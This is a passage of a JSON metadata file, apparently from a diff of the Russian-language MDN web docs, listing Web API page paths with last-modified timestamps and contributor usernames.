- "sosnovskyas"
- ]
- },
- "Web/API/MediaRecorder/state": {
- "modified": "2020-10-15T22:21:29.415Z",
- "contributors": [
- "art-gur"
- ]
- },
- "Web/API/MediaSource": {
- "modified": "2019-03-23T22:10:49.400Z",
- "contributors": [
- "oboshto",
- "Fell-x27"
- ]
- },
- "Web/API/MediaStream": {
- "modified": "2020-10-15T22:21:32.454Z",
- "contributors": [
- "ialexi-bl",
- "wbamberg"
- ]
- },
- "Web/API/MediaStream/active": {
- "modified": "2020-10-15T22:21:31.202Z",
- "contributors": [
- "art-gur"
- ]
- },
- "Web/API/MediaStreamTrack": {
- "modified": "2020-10-15T22:27:34.415Z",
- "contributors": [
- "ialexi-bl"
- ]
- },
- "Web/API/MediaStream_Recording_API": {
- "modified": "2019-03-23T22:22:45.107Z",
- "contributors": [
- "aayaresko",
- "curdwithraisins"
- ]
- },
- "Web/API/MediaStream_Recording_API/Recording_a_media_element": {
- "modified": "2020-03-09T08:22:07.951Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API": {
- "modified": "2020-10-15T22:27:33.801Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/MediaTrackConstraints": {
- "modified": "2020-11-01T07:19:41.395Z",
- "contributors": [
- "sideshowbarker"
- ]
- },
- "Web/API/MediaTrackConstraints/Эхоподавление": {
- "modified": "2020-11-01T07:26:52.423Z",
- "contributors": [
- "Ibadichan"
- ]
- },
- "Web/API/Media_Session_API": {
- "modified": "2020-10-15T22:31:42.491Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/MouseEvent": {
- "modified": "2019-11-13T05:14:10.400Z",
- "contributors": [
- "torbasow",
- "twmicro",
- "RevakoOA",
- "swymmwys",
- "LidiyaU",
- "muichikawa"
- ]
- },
- "Web/API/MouseEvent/button": {
- "modified": "2020-10-06T15:02:00.550Z",
- "contributors": [
- "post032",
- "McBurns"
- ]
- },
- "Web/API/MouseEvent/buttons": {
- "modified": "2019-03-18T21:39:38.716Z",
- "contributors": [
- "McBurns"
- ]
- },
- "Web/API/MouseEvent/clientX": {
- "modified": "2019-03-18T21:17:28.301Z",
- "contributors": [
- "twmicro",
- "torbasow",
- "monkin",
- "nikolaifedorov"
- ]
- },
- "Web/API/MouseEvent/clientY": {
- "modified": "2019-03-18T21:31:19.452Z",
- "contributors": [
- "MuradAz"
- ]
- },
- "Web/API/MouseEvent/ctrlKey": {
- "modified": "2020-10-15T22:09:36.697Z",
- "contributors": [
- "twmicro"
- ]
- },
- "Web/API/MouseEvent/offsetX": {
- "modified": "2019-03-23T22:29:13.229Z",
- "contributors": [
- "nikolaifedorov",
- "makkgregory"
- ]
- },
- "Web/API/MouseEvent/pageX": {
- "modified": "2019-03-23T22:07:45.230Z",
- "contributors": [
- "andrew_noskov"
- ]
- },
- "Web/API/MouseEvent/screenX": {
- "modified": "2020-10-15T22:22:25.976Z",
- "contributors": [
- "Abagian"
- ]
- },
- "Web/API/MouseEvent/shiftKey": {
- "modified": "2019-03-23T22:06:36.338Z",
- "contributors": [
- "insafski"
- ]
- },
- "Web/API/MouseEvent/which": {
- "modified": "2020-10-15T22:15:09.701Z",
- "contributors": [
- "InoY"
- ]
- },
- "Web/API/MutationObserver": {
- "modified": "2020-10-15T21:47:37.351Z",
- "contributors": [
- "BelousovDmitrii",
- "YozhEzhi",
- "PaulineNemchak",
- "Corba",
- "Vasiliskov",
- "torbasow",
- "Allgoll"
- ]
- },
- "Web/API/NamedNodeMap": {
- "modified": "2020-10-15T22:22:43.975Z",
- "contributors": [
- "ellizii"
- ]
- },
- "Web/API/NamedNodeMap/getNamedItem": {
- "modified": "2020-10-15T22:22:43.654Z",
- "contributors": [
- "ellizii"
- ]
- },
- "Web/API/Navigation_timing_API": {
- "modified": "2019-03-23T22:26:37.338Z",
- "contributors": [
- "frooeyzanny",
- "Zaynullin",
- "andrewsezko"
- ]
- },
- "Web/API/Navigator": {
- "modified": "2019-03-18T20:54:33.010Z",
- "contributors": [
- "JS_Johny",
- "devrom",
- "ShantyHoz",
- "wbamberg",
- "trace_route",
- "AynurGalimov",
- "nik3402",
- "meteor91",
- "AlexAlex",
- "fscholz"
- ]
- },
- "Web/API/Navigator/battery": {
- "modified": "2020-10-15T21:36:45.705Z",
- "contributors": [
- "bershanskiy",
- "AlexAlex"
- ]
- },
- "Web/API/Navigator/cookieEnabled": {
- "modified": "2019-03-23T22:54:01.189Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Navigator/doNotTrack": {
- "modified": "2019-03-23T22:54:05.166Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Navigator/geolocation": {
- "modified": "2019-03-23T22:54:20.178Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Navigator/getGamepads": {
- "modified": "2019-03-23T22:56:57.020Z",
- "contributors": [
- "Deeech"
- ]
- },
- "Web/API/Navigator/getUserMedia": {
- "modified": "2020-12-04T09:40:23.554Z",
- "contributors": [
- "rokra2005"
- ]
- },
- "Web/API/Navigator/getVRDisplays": {
- "modified": "2020-10-15T22:16:04.665Z",
- "contributors": [
- "D-Koganov"
- ]
- },
- "Web/API/Navigator/mediaDevices": {
- "modified": "2020-06-26T13:31:26.261Z",
- "contributors": [
- "snsoonnoos",
- "Smekalin",
- "sosnovskyas"
- ]
- },
- "Web/API/Navigator/oscpu": {
- "modified": "2019-03-23T22:54:23.860Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Navigator/registerProtocolHandler": {
- "modified": "2019-03-23T22:54:10.353Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Navigator/sendBeacon": {
- "modified": "2020-10-15T22:07:25.657Z",
- "contributors": [
- "jkulvich"
- ]
- },
- "Web/API/Navigator/serviceWorker": {
- "modified": "2019-03-23T22:54:22.707Z",
- "contributors": [
- "utking",
- "Nightquester",
- "AlexAlex"
- ]
- },
- "Web/API/Navigator/vibrate": {
- "modified": "2019-03-23T22:54:05.519Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorGeolocation": {
- "modified": "2019-03-23T22:43:32.725Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorID": {
- "modified": "2020-10-15T21:36:43.124Z",
- "contributors": [
- "fscholz",
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorID/appCodeName": {
- "modified": "2019-03-23T22:54:11.399Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorID/appName": {
- "modified": "2019-03-23T22:54:41.758Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorID/appVersion": {
- "modified": "2019-03-23T22:54:32.102Z",
- "contributors": [
- "FordSoft",
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorID/platform": {
- "modified": "2020-10-15T21:36:42.389Z",
- "contributors": [
- "mqqza",
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorID/product": {
- "modified": "2019-03-23T22:54:26.372Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorID/taintEnabled": {
- "modified": "2020-10-15T21:36:42.862Z",
- "contributors": [
- "fscholz",
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorID/userAgent": {
- "modified": "2019-05-31T01:04:23.816Z",
- "contributors": [
- "Grawl",
- "patsuckow",
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorLanguage": {
- "modified": "2019-03-23T22:54:36.204Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorLanguage/language": {
- "modified": "2020-05-02T05:07:32.288Z",
- "contributors": [
- "leshkin",
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorLanguage/languages": {
- "modified": "2019-03-23T22:54:22.153Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorOnLine": {
- "modified": "2019-03-23T22:54:40.457Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorOnLine/onLine": {
- "modified": "2019-03-23T22:54:19.762Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorPlugins": {
- "modified": "2019-03-23T22:54:31.545Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorPlugins/javaEnabled": {
- "modified": "2019-03-23T22:54:23.717Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorPlugins/mimeTypes": {
- "modified": "2019-03-23T22:54:19.236Z",
- "contributors": [
- "nik3402",
- "torbasow",
- "AlexAlex"
- ]
- },
- "Web/API/NavigatorPlugins/plugins": {
- "modified": "2019-03-23T22:54:18.720Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NetworkInformation": {
- "modified": "2019-03-23T22:54:09.237Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/NetworkInformation/connection": {
- "modified": "2019-03-23T22:54:21.417Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Network_Information_API": {
- "modified": "2020-10-15T22:31:42.260Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/Node": {
- "modified": "2019-03-23T23:01:41.792Z",
- "contributors": [
- "Rudy-Clark",
- "AlexAlex",
- "fscholz"
- ]
- },
- "Web/API/Node.replaceChild": {
- "modified": "2019-03-23T23:14:17.260Z",
- "contributors": [
- "khalid32",
- "Troynov"
- ]
- },
- "Web/API/Node/appendChild": {
- "modified": "2020-09-26T12:24:30.570Z",
- "contributors": [
- "LancerRevX",
- "ellizii",
- "TrotskyAV",
- "Tillaev",
- "fscholz",
- "jsx",
- "Troynov"
- ]
- },
- "Web/API/Node/baseURI": {
- "modified": "2019-03-23T22:53:47.548Z",
- "contributors": [
- "cezsored",
- "AlexAlex"
- ]
- },
- "Web/API/Node/baseURIObject": {
- "modified": "2019-03-23T22:53:30.789Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/childNodes": {
- "modified": "2019-03-23T23:00:08.391Z",
- "contributors": [
- "RoM4iK",
- "dginzburg"
- ]
- },
- "Web/API/Node/cloneNode": {
- "modified": "2019-03-23T22:53:38.893Z",
- "contributors": [
- "IvanRave",
- "AlexAlex"
- ]
- },
- "Web/API/Node/compareDocumentPosition": {
- "modified": "2019-03-23T23:31:08.649Z",
- "contributors": [
- "fscholz",
- "khalid32",
- "schyzoo"
- ]
- },
- "Web/API/Node/contains": {
- "modified": "2020-10-15T21:28:15.925Z",
- "contributors": [
- "FFxSquall",
- "itmamont",
- "Neir",
- "fscholz",
- "AshfaqHossain",
- "Troynov"
- ]
- },
- "Web/API/Node/firstChild": {
- "modified": "2019-03-23T22:53:36.038Z",
- "contributors": [
- "BodyCount",
- "AlexAlex"
- ]
- },
- "Web/API/Node/getUserData": {
- "modified": "2019-03-23T22:53:29.815Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/hasChildNodes": {
- "modified": "2019-03-23T22:53:39.791Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/innerText": {
- "modified": "2020-10-15T21:49:13.148Z",
- "contributors": [
- "YozhEzhi",
- "ivandoroshenko",
- "Aleksander3007"
- ]
- },
- "Web/API/Node/insertBefore": {
- "modified": "2019-03-23T22:58:37.545Z",
- "contributors": [
- "gr1ev0us"
- ]
- },
- "Web/API/Node/isConnected": {
- "modified": "2020-10-15T22:12:28.187Z",
- "contributors": [
- "Aliaksandrlosich"
- ]
- },
- "Web/API/Node/isDefaultNamespace": {
- "modified": "2019-03-23T22:53:37.058Z",
- "contributors": [
- "FeelUs",
- "AlexAlex"
- ]
- },
- "Web/API/Node/isEqualNode": {
- "modified": "2019-10-05T05:43:10.730Z",
- "contributors": [
- "ellizii",
- "AlexAlex"
- ]
- },
- "Web/API/Node/isSameNode": {
- "modified": "2019-03-23T22:53:28.067Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/isSupported": {
- "modified": "2019-03-23T22:53:39.075Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/lastChild": {
- "modified": "2019-03-23T23:31:45.681Z",
- "contributors": [
- "kup",
- "fscholz",
- "jsx",
- "Yuri"
- ]
- },
- "Web/API/Node/localName": {
- "modified": "2019-03-23T22:53:27.435Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/lookupNamespaceURI": {
- "modified": "2019-03-23T22:53:25.440Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/lookupPrefix": {
- "modified": "2019-03-23T22:53:32.113Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/namespaceURI": {
- "modified": "2019-03-23T22:53:39.665Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/nextSibling": {
- "modified": "2019-03-23T22:53:34.071Z",
- "contributors": [
- "wbamberg",
- "ayc",
- "Natalya_Surikova",
- "BychekRU",
- "AlexAlex"
- ]
- },
- "Web/API/Node/nodeName": {
- "modified": "2019-03-23T22:53:26.514Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/nodePrincipal": {
- "modified": "2019-03-23T22:53:31.496Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/nodeType": {
- "modified": "2019-01-16T20:24:49.318Z",
- "contributors": [
- "AlexChuev",
- "dginzburg"
- ]
- },
- "Web/API/Node/nodeValue": {
- "modified": "2019-03-23T22:53:41.150Z",
- "contributors": [
- "Rashid6283",
- "AlexAlex"
- ]
- },
- "Web/API/Node/normalize": {
- "modified": "2019-03-23T22:53:40.067Z",
- "contributors": [
- "Kochetkoff",
- "AlexAlex"
- ]
- },
- "Web/API/Node/ownerDocument": {
- "modified": "2019-03-23T22:53:30.286Z",
- "contributors": [
- "k206i",
- "AlexAlex"
- ]
- },
- "Web/API/Node/parentElement": {
- "modified": "2019-03-23T22:53:39.949Z",
- "contributors": [
- "wenzor",
- "megastels",
- "keslo",
- "AlexAlex"
- ]
- },
- "Web/API/Node/parentNode": {
- "modified": "2019-03-18T20:55:47.913Z",
- "contributors": [
- "panbro",
- "dmitrygorbenko",
- "fscholz",
- "khalid32",
- "Troynov"
- ]
- },
- "Web/API/Node/prefix": {
- "modified": "2019-03-23T22:53:39.207Z",
- "contributors": [
- "AlexAlex"
- ]
- },
- "Web/API/Node/previousSibling": {
- "modified": "2019-03-23T22:53:39.334Z",
- "contributors": [
- "wbamberg",
- "BychekRU",
- "AlexAlex"
- ]
- },
- "Web/API/Node/removeChild": {
- "modified": "2019-09-18T07:57:22.996Z",
- "contributors": [
- "Loosefer",
- "RumyantsevMichael",
- "fscholz",
- "orlovas",
- "jsx",
- "Troynov"
- ]
- },
- "Web/API/Node/textContent": {
- "modified": "2019-03-23T23:14:02.764Z",
- "contributors": [
- "Natalya_Surikova",
- "AlexAlex",
- "fscholz",
- "smaximov",
- "khalid32",
- "Norville",
- "Troynov"
- ]
- },
- "Web/API/NodeList": {
- "modified": "2019-03-18T21:00:35.906Z",
- "contributors": [
- "MaxBrohman",
- "nakhodkiin",
- "Kadekomst",
- "arhad",
- "surrsoft",
- "dginzburg"
- ]
- },
- "Web/API/NonDocumentTypeChildNode": {
- "modified": "2019-03-18T21:43:39.016Z",
- "contributors": [
- "fscholz"
- ]
- },
- "Web/API/NonDocumentTypeChildNode/NonDocumentTypeChildNode.nextElementSibling": {
- "modified": "2019-08-16T17:33:57.106Z",
- "contributors": [
- "T-p-V",
- "GoodLuck"
- ]
- },
- "Web/API/NonDocumentTypeChildNode/previousElementSibling": {
- "modified": "2019-03-18T21:39:03.666Z",
- "contributors": [
- "Sparks"
- ]
- },
- "Web/API/Notifications_API": {
- "modified": "2019-03-23T22:16:18.353Z",
- "contributors": [
- "curdwithraisins"
- ]
- },
- "Web/API/PannerNode": {
- "modified": "2019-03-23T22:07:21.654Z",
- "contributors": [
- "customizer"
- ]
- },
- "Web/API/ParentNode": {
- "modified": "2020-10-15T21:37:34.695Z",
- "contributors": [
- "boxa6",
- "arturparkhisenko",
- "AlexeyVasilievE",
- "YozhEzhi",
- "fscholz"
- ]
- },
- "Web/API/ParentNode/append": {
- "modified": "2020-10-15T22:10:43.295Z",
- "contributors": [
- "7nik",
- "chrisdavidmills",
- "KonstantinBuza",
- "madebydima"
- ]
- },
- "Web/API/ParentNode/childElementCount": {
- "modified": "2019-08-28T05:06:44.542Z",
- "contributors": [
- "Yialo",
- "vitya-ne",
- "alexsakhnov",
- "In4in"
- ]
- },
- "Web/API/ParentNode/children": {
- "modified": "2019-09-25T14:03:42.278Z",
- "contributors": [
- "ellizii",
- "Yialo",
- "RblSb",
- "evgkit",
- "In4in"
- ]
- },
- "Web/API/ParentNode/firstElementChild": {
- "modified": "2019-08-28T05:08:54.083Z",
- "contributors": [
- "Yialo",
- "besedin-art"
- ]
- },
- "Web/API/ParentNode/lastElementChild": {
- "modified": "2019-08-28T05:09:39.314Z",
- "contributors": [
- "Yialo",
- "Waakym"
- ]
- },
- "Web/API/ParentNode/prepend": {
- "modified": "2020-10-15T22:20:07.127Z",
- "contributors": [
- "RenJeka",
- "pronskiy"
- ]
- },
- "Web/API/PaymentRequest": {
- "modified": "2020-10-15T22:32:45.030Z",
- "contributors": [
- "kingdomstay"
- ]
- },
- "Web/API/Payment_Request_API": {
- "modified": "2020-10-15T22:31:48.935Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/Performance": {
- "modified": "2020-10-15T21:37:50.312Z",
- "contributors": [
- "MasterOfMenace",
- "antipenko",
- "fscholz",
- "wbamberg",
- "icamys",
- "chrisdavidmills"
- ]
- },
- "Web/API/Performance/now": {
- "modified": "2019-12-02T17:54:34.173Z",
- "contributors": [
- "VoloshchenkoAl",
- "icamys",
- "illyaV"
- ]
- },
- "Web/API/Pointer_Lock_API": {
- "modified": "2019-03-23T23:04:56.807Z",
- "contributors": [
- "DanyaSWorlD",
- "Taran282"
- ]
- },
- "Web/API/Pointer_events": {
- "modified": "2020-10-15T22:33:38.177Z",
- "contributors": [
- "hisbvdis"
- ]
- },
- "Web/API/PositionOptions": {
- "modified": "2019-03-23T22:21:01.208Z",
- "contributors": [
- "Casus",
- "devkudasov"
- ]
- },
- "Web/API/Presentation": {
- "modified": "2019-03-18T21:46:12.982Z",
- "contributors": [
- "VardgesK"
- ]
- },
- "Web/API/PushManager": {
- "modified": "2020-10-15T21:37:23.948Z",
- "contributors": [
- "art-gur",
- "RomanKontsevoy",
- "fdor",
- "chrisdavidmills"
- ]
- },
- "Web/API/PushManager/subscribe": {
- "modified": "2019-03-26T09:16:55.705Z",
- "contributors": [
- "RomanKontsevoy",
- "romandutkevych",
- "Nikolay2016"
- ]
- },
- "Web/API/Push_API": {
- "modified": "2020-06-22T15:42:29.955Z",
- "contributors": [
- "KR1470R",
- "MuradAz",
- "olvin-hh",
- "michael_v92",
- "vladislav251990",
- "Haosik",
- "savelichalex",
- "sosnovskyas",
- "AlexKart86",
- "idelpivnitskiy",
- "vadimilin888"
- ]
- },
- "Web/API/Push_API/Using_the_Push_API": {
- "modified": "2019-03-23T22:33:26.535Z",
- "contributors": [
- "vasyan",
- "zvadym",
- "curdwithraisins",
- "amutylo",
- "alfaslash"
- ]
- },
- "Web/API/RTCPeerConnection": {
- "modified": "2020-10-15T22:33:10.694Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/RTCPeerConnection/RTCPeerConnection": {
- "modified": "2020-10-15T22:33:06.758Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/RTCPeerConnection/canTrickleIceCandidates": {
- "modified": "2020-10-15T22:33:08.620Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/RTCPeerConnection/connectionState": {
- "modified": "2020-10-15T22:33:08.142Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/RTCPeerConnection/currentLocalDescription": {
- "modified": "2020-10-15T22:33:08.312Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/RTCPeerConnection/currentRemoteDescription": {
- "modified": "2020-10-15T22:33:09.693Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/RTCPeerConnection/getDefaultIceServers": {
- "modified": "2020-10-15T22:33:11.540Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/RTCPeerConnection/icecandidate_event": {
- "modified": "2020-11-25T18:23:55.148Z",
- "contributors": [
- "nikolaifedorov"
- ]
- },
- "Web/API/RandomSource": {
- "modified": "2019-07-04T02:33:27.227Z",
- "contributors": [
- "freezer278",
- "Jeremie"
- ]
- },
- "Web/API/RandomSource/getRandomValues": {
- "modified": "2020-10-15T21:43:20.603Z",
- "contributors": [
- "ekirpichyov",
- "pepeevich"
- ]
- },
- "Web/API/Range": {
- "modified": "2020-11-14T17:52:09.839Z",
- "contributors": [
- "p36101",
- "Horhik",
- "fakedous",
- "fscholz"
- ]
- },
- "Web/API/Range/collapsed": {
- "modified": "2019-03-23T22:46:28.635Z",
- "contributors": [
- "AlexChuev"
- ]
- },
- "Web/API/Range/getBoundingClientRect": {
- "modified": "2019-03-23T23:21:22.290Z",
- "contributors": [
- "fscholz",
- "khalid32",
- "akhabibullina"
- ]
- },
- "Web/API/Range/surroundContents": {
- "modified": "2019-03-23T22:51:16.207Z",
- "contributors": [
- "Xnoyer"
- ]
- },
- "Web/API/RenderingContext": {
- "modified": "2020-01-03T11:02:10.593Z",
- "contributors": [
- "5GameMaker"
- ]
- },
- "Web/API/Request": {
- "modified": "2020-10-15T22:22:45.973Z",
- "contributors": [
- "Noop1",
- "RomanovYurii",
- "larsgw"
- ]
- },
- "Web/API/Request/mode": {
- "modified": "2020-10-15T22:22:45.717Z",
- "contributors": [
- "dmtrkskv",
- "dR3m"
- ]
- },
- "Web/API/Response": {
- "modified": "2020-10-15T22:34:41.094Z",
- "contributors": [
- "swimmwatch"
- ]
- },
- "Web/API/Response/Response": {
- "modified": "2020-10-15T22:34:36.791Z",
- "contributors": [
- "swimmwatch"
- ]
- },
- "Web/API/SVGAElement": {
- "modified": "2019-03-23T22:13:52.795Z",
- "contributors": [
- "warsan",
- "nudaworks"
- ]
- },
- "Web/API/SVGAElement/SVGAlement.target": {
- "modified": "2019-03-18T21:45:46.517Z",
- "contributors": [
- "Liubava77"
- ]
- },
- "Web/API/SVGAElement/target": {
- "modified": "2020-10-15T22:05:23.688Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/API/SVGGraphicsElement": {
- "modified": "2020-10-15T22:06:52.973Z",
- "contributors": [
- "boxa6",
- "annaSchugay"
- ]
- },
- "Web/API/SVGTextContentElement": {
- "modified": "2020-10-15T22:06:03.792Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/API/SVGTextElement": {
- "modified": "2020-10-15T22:06:02.755Z",
- "contributors": [
- "warsan"
- ]
- },
- "Web/API/Screen": {
- "modified": "2019-03-23T22:19:10.789Z",
- "contributors": [
- "Naifu"
- ]
- },
- "Web/API/Screen_Capture_API": {
- "modified": "2020-10-15T22:28:05.843Z",
- "contributors": [
- "Sheppy"
- ]
- },
- "Web/API/Screen_Capture_API/Using_Screen_Capture": {
- "modified": "2020-03-08T13:44:19.351Z",
- "contributors": [
- "mechtool"
- ]
- },
- "Web/API/Selection": {
- "modified": "2019-03-23T22:46:25.520Z",
- "contributors": [
- "brussens",
- "spicyj"
- ]
- },
- "Web/API/Selection/getRangeAt": {
- "modified": "2019-03-23T22:46:20.711Z",
- "contributors": [
- "AlexChuev"
- ]
- },
- "Web/API/Selection/toString": {
- "modified": "2020-10-15T22:14:20.743Z",
- "contributors": [
- "snowydad"
- ]
- },
- "Web/API/Server-sent_events": {
- "modified": "2020-11-18T10:18:54.158Z",
- "contributors": [
- "soika.andrey",
- "curdwithraisins"
- ]
- },
- "Web/API/Server-sent_events/Using_server-sent_events": {
- "modified": "2020-10-15T22:21:14.541Z",
- "contributors": [
- "bakugod",
- "curdwithraisins"
- ]
- },
- "Web/API/ServiceWorker": {
- "modified": "2020-10-15T22:25:57.639Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/ServiceWorker/onstatechange": {
- "modified": "2020-10-15T22:25:53.618Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/ServiceWorker/scriptURL": {
- "modified": "2020-10-15T22:25:53.547Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/ServiceWorker/state": {
- "modified": "2020-10-15T22:25:53.597Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/ServiceWorkerContainer": {
- "modified": "2020-04-09T10:43:47.005Z",
- "contributors": [
- "AleksandrDorofeev",
- "chrisdavidmills"
- ]
- },
- "Web/API/ServiceWorkerContainer/controller": {
- "modified": "2020-10-15T22:25:53.553Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/ServiceWorkerContainer/register": {
- "modified": "2020-10-02T00:59:34.870Z",
- "contributors": [
- "juriburakov",
- "drfisher",
- "amutylo"
- ]
- },
- "Web/API/ServiceWorkerRegistration": {
- "modified": "2020-10-15T22:03:13.120Z",
- "contributors": [
- "sh7dm",
- "ExE-Boss"
- ]
- },
- "Web/API/ServiceWorkerRegistration/pushManager": {
- "modified": "2020-10-15T22:16:41.017Z",
- "contributors": [
- "RomanKontsevoy"
- ]
- },
- "Web/API/ServiceWorkerRegistration/showNotification": {
- "modified": "2020-10-15T22:03:09.083Z",
- "contributors": [
- "aadeniskin",
- "MikitaDu"
- ]
- },
- "Web/API/ServiceWorkerRegistration/update": {
- "modified": "2020-10-15T22:12:53.829Z",
- "contributors": [
- "fdor"
- ]
- },
- "Web/API/ServiceWorkerState": {
- "modified": "2019-12-29T10:30:40.493Z",
- "contributors": [
- "sh7dm"
- ]
- },
- "Web/API/Service_Worker_API": {
- "modified": "2019-12-30T15:14:52.084Z",
- "contributors": [
- "ankormoreankor",
- "sh7dm",
- "sscherbin",
- "olvin-hh",
- "MytnikAA",
- "ris58h",
- "Nazichok",
- "WispProxy",
- "yulllll",
- "gudkovdanila",
- "brolnickij",
- "de1mos242",
- "zhrivodkin",
- "patriciussanctus",
- "SergeyYukhnevich",
- "Straig",
- "dphov",
- "curdwithraisins",
- "franzy1709",
- "chrisdavidmills"
- ]
- },
- "Web/API/Service_Worker_API/Using_Service_Workers": {
- "modified": "2020-10-23T06:37:12.327Z",
- "contributors": [
- "amshinski",
- "mcmimik",
- "3lvcz",
- "Akh-rman",
- "sscherbin",
- "GoliafRS",
- "thepocp",
- "Webbrother",
- "m-rybak",
- "WispProxy",
- "ymetalnikov",
- "skvigl",
- "zasipin",
- "iSokrat",
- "Victor_Homyakov",
- "SowingSadness",
- "vladislav251990",
- "sgrogov",
- "stepanmas",
- "rajdee",
- "gorlitsyn",
- "goncharov",
- "utking",
- "termosa",
- "franzy1709"
- ]
- },
- "Web/API/SharedWorker": {
- "modified": "2019-03-23T22:22:59.583Z",
- "contributors": [
- "apostololeg",
- "Mihail-Afanasiev",
- "IgorBaranov"
- ]
- },
- "Web/API/Slotable": {
- "modified": "2020-10-15T22:17:53.998Z",
- "contributors": [
- "opereverzeva"
- ]
- },
- "Web/API/SpeechGrammar": {
- "modified": "2020-10-15T22:00:10.043Z",
- "contributors": [
- "ekirpichyov",
- "Liubava77"
- ]
- },
- "Web/API/SpeechRecognition": {
- "modified": "2019-03-23T22:13:12.165Z",
- "contributors": [
- "effus",
- "Sparks"
- ]
- },
- "Web/API/SpeechSynthesisUtterance": {
- "modified": "2020-10-15T22:06:00.535Z",
- "contributors": [
- "kan.a"
- ]
- },
- "Web/API/Storage": {
- "modified": "2020-09-11T05:29:01.870Z",
- "contributors": [
- "torbasow",
- "romandubrov",
- "jwhitlock",
- "chulanovskyi",
- "DavidWebb",
- "teoli",
- "jora244",
- "ThijsK"
- ]
- },
- "Web/API/Storage/LocalStorage": {
- "modified": "2019-03-23T22:05:00.067Z",
- "contributors": [
- "ZVanoZ"
- ]
- },
- "Web/API/Storage/clear": {
- "modified": "2019-03-23T22:42:45.479Z",
- "contributors": [
- "EvgenyI"
- ]
- },
- "Web/API/Storage/getItem": {
- "modified": "2019-09-01T19:51:21.395Z",
- "contributors": [
- "NiroWoolf",
- "EvgenyI"
- ]
- },
- "Web/API/Storage/key": {
- "modified": "2019-03-23T22:39:36.953Z",
- "contributors": [
- "Floyer"
- ]
- },
- "Web/API/Storage/length": {
- "modified": "2019-03-23T22:57:32.344Z",
- "contributors": [
- "teoli",
- "jora244",
- "EvgenyI",
- "Frenk1"
- ]
- },
- "Web/API/Storage/removeItem": {
- "modified": "2020-10-15T21:42:31.983Z",
- "contributors": [
- "fscholz",
- "twenshin",
- "empirogov",
- "Floyer"
- ]
- },
- "Web/API/Storage/setItem": {
- "modified": "2019-03-23T22:57:32.878Z",
- "contributors": [
- "Orlovis69",
- "EvgenyI",
- "Frenk1"
- ]
- },
- "Web/API/StorageManager": {
- "modified": "2020-10-15T21:56:53.171Z",
- "contributors": [
- "atymchuk",
- "chrisdavidmills"
- ]
- },
- "Web/API/StorageManager/estimate": {
- "modified": "2020-10-15T21:56:53.185Z",
- "contributors": [
- "Roman-Kosov",
- "megabajtruie"
- ]
- },
- "Web/API/Storage_Access_API": {
- "modified": "2020-10-15T22:32:41.630Z",
- "contributors": [
- "Pandorin"
- ]
- },
- "Web/API/Streams_API": {
- "modified": "2020-10-15T22:14:30.550Z",
- "contributors": [
- "Vitalii",
- "MrShtein",
- "SerzN1"
- ]
- },
- "Web/API/StyleSheet": {
- "modified": "2020-11-27T03:25:29.870Z",
- "contributors": [
- "vdav-dev",
- "izhurav"
- ]
- },
- "Web/API/StyleSheet/disabled": {
- "modified": "2020-10-15T22:18:44.560Z",
